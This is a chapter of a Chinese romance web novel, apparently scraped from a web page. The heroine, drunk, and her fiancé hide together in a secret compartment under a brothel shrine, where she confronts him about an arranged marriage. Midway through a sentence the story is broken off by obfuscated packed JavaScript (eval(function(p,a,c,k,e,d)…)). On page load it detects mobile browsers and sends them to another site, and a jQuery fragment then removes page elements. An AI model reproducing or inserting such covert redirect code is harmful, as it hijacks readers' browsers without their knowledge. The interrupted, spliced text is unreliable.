不知道他们多久能找来这间屋子,但眼下大门被堵,已经无法再从大门离开。 慕相玄带越清音回到桌边,从花窗往下望,又见八九人马错落守在望月坊外,个个抱着长绳,拖着军棍,一副随时都能动手行刑的凶煞模样。 越清音原本就不清醒的脑子更加懵了,喃喃道:“看来明年的今日,就是我与二哥的忌日……” 她恍惚念叨着:“没想到,结拜起誓这么灵验,竟然真会同年同月同日死啊……” 慕相玄:“……” 任由她迷糊咕哝,他在旁边冷静地想,走窗户也行不通了。 他回过头,踢了下歪扭躺在地面的小倌们,一针见血道:“别装了,老实说,这儿有后门吗?” 靠前的紫衫小倌顿了顿,睁开些许眼缝,暗自忖度。 今夜他们来这上房,听闻两位客人只想听故事,起先也高兴了好一会儿。还以为遇上了能省心服侍的好客人,没承想……那姑娘实在太能喝了! 紫衫小倌有些后怕,原本见那姑娘没什么欢场经验,他还耍了个滑头,没有让兄弟们一起陪饮,而是与十九位兄弟轮番陪她喝。 若有懂行人在场,定要说他们人多欺负人少、忽悠小姑娘。可谁也没想到,十几圈下来,酒量浅的兄弟已经话都说不利索了,她的酒意才刚刚上脸…… 幸亏他见多识广,认出人中酒仙,急中生智与兄弟们齐齐装醉躺倒。不然陪她喝完今场,恐怕他们得不省人事昏睡个三天三夜。 然而糊弄没心眼的小姑娘容易,想骗面前这少年却困难。 他没说多余的话,只是肩背劲拔地站在他们身前,冷冷地睥下来,就让人感觉后颈一阵阵发寒。 紫衫小倌率先不装了,睁开眼睛嫣然一笑。 “这位爷说笑了,这儿是花楼,既怕小倌卷款逃奔,又怕客人背债潜逃,怎会有后门呢?” 慕相玄安静看他片刻,从怀里抽出张官印鲜红的银票,夹在指尖朝他晃了下: “能在复杂边关经营这么久的花楼,应该有些不凡之处吧?” 常年在边境游走,他也遇过不少三教九流,这些是非云集的场所,不可能没有半个藏匿躲事的后手。 银票发出悦耳的纸张脆响,房间里的其他小倌都精神抖擞地“清醒”了。 “呀,爷是个明白人!” 花蝴蝶们将酒意伪装甩到脑后,鲤鱼打挺起来,争先恐后道: “实不相瞒,我们这儿确实有些门道!虽说没有后门,但藏人之处,花楼里多的是呢!” 唯恐慕相玄不信,他们速速引他看上房的财位。 那儿设了座花楼常有的狐仙娘娘木塑像,神龛上撒了桃花瓣,置了三两果盘供奉,红烛还在艳艳燃着。 狐仙算不得正神,木塑像眉眼高深莫测。外人见了总是心怀忌惮、生怕冒犯,鲜少敢去翻查神位,正好利于包藏阴私。 几人蹲下身,手脚利落地摆弄神龛,竟在下方移开一道隐秘木门,露出个半大不小的隔间来。 有小倌视线流连银票,殷勤解释道: “花楼最怕纠纷,既怕官差流氓来闹事,也怕客人家中的正宫娘娘寻上门来发难,是以都会准备些临时的藏身之所!” 慕相玄估算着隔间的大小,两人进去应该挤得够呛,只能让清音一人藏在这儿了。 于是他招手唤越清音:“过来。” 越清音自打认出慕相玄,就听话得像只鹌鹑,可来到神龛面前,她装满酒的脑子又不大够用了。 她对着神龛上的果盘愣了半晌,数了数供奉狐仙、祈祷“紫气东来”的茄子,还有寓意“吉祥顺遂”的柑橘,为难地同慕相玄说:“我吃不下。” 慕相玄:“……不是让你吃。” 从前少见她饮酒,没想到她酒后是这样糊涂得可爱的性子。 可惜时间紧迫。 他有些遗憾地压下逗逗酒鬼的想法,匆匆将她塞进隔间,好声哄道:“你在里头待一会儿,先别出声知道吗?” 说罢又转身,吩咐小倌们:“把隔间的门关了。” 小倌们满心期待着过后领赏,殷勤备至地应了:“好嘞——” 慕相玄一边观察顶上哪根横梁方便让他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15704274|173490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 藏身,一边指了指还抱着桌腿的乌维言说: “找件你们的衣衫给他披一下,也整整头发,别让人认出他了。” 话说着,他就相中一根长梁,迈腿往梁下的立柱走去。 谁知变数就发生在顷刻间——隔间木门合上的前一刻,越清音伸手拽住他的衣摆,猛一使劲将他拽得栽进了隔间。 “嘭”地一声,木门彻底合上。 神龛下的隔间逼仄狭窄,慕相玄意识到压住了人,狼狈地撑起手臂,想要挪身。 可但凡动弹一下,就能感受到四面木墙木门的挤压,还有一道被他压制在身下的馨软。 少女轻哼唧了两声。 “清音?” 他惊得急喘了下,鼻息间猝然涌进气息。 他甚至没闻到花楼里浓醇的酒香,只有那道熟悉的又清又甜的橙花气味,香得似雾一样将他包围。 慕相玄没有喝酒,却感觉自己头脑发热,晕乎乎的,已经醉得不清。 伸手不见五指的黑暗里,依稀听见越清音说了些话。 “什么?”他看不到唇形,一时间宛若真的失聪,仓促地低头重复问,“你说什么?” 她好像没应。 他勉强定回心神,知道她身子骨不如他,生怕自己将她压坏,索性搂紧她,凭空靠着腰腹力量翻了个身,带着她将二人位置调换过来,让她能够趴在他的身上。 越清音只觉腰间一紧,随后轻飘飘地远离蒙灰冷硬的地板,落入少年体温煦热的怀抱中。 空间太过狭小,只听得到两人的呼吸声。 慕相玄努力不去闻漂浮的香气,也不去想自己身上压来的柔软,逼着自己拼命回忆读过的正统道藏清心诀。 然而少女并不安分,仍埋头往他怀里蹭,凉滑如缎的青丝流泻到他的肩颈上,淹得他只敢仓皇失措地攥紧她的衣角。 “坐起来好么?”他的嗓音里带了些哑。 越清音却不肯独自起身,委屈道:“这儿太黑了,幸好你进来陪我……” 慕相玄没了辙,一手虚虚揽住她的腰,一手撑着地板,带她坐起来些。 越清音挨着他坐稳,不再乱动,又想起关键:“为何你会来花楼?” 温热的呼吸极近,慕相玄听清她声音的方位,大概他只要低头,就能亲到她松软的发鬓。 他走着神,轻声道:“怎么?” “你过来鬼混,却管着我,不许我来?” 草原的少女惯会捕捉重点,径直越过自己的破绽,疑问道:“我不能管你么?” 慕相玄回过神,没多思索就想说“可以”。 可这花楼的话题并不妥当。 身前人似乎猛然记起了什么要紧事,方才还软绵亲昵的嗓音,下一刻陡然增添了懊恼与怒意。 “也对,慕大将军,我哪里管得了你。” 她咬牙道:“知人只知面,谁知道你底下是个什么情况!” 慕相玄怔忪了瞬。 他以为是自己身下难堪的反应被她察觉,顿时窘迫得想弓身避开:“我……” 谁知身前的少女用力按住他的肩,扳着他要他靠近。 他听见她忿忿不平的嗓音:“你还想瞒我多久!” 少年黑暗中的瞳孔微微紧缩,听见未婚妻的愤怒控诉: “赐婚的事情,我已经全都知道了!”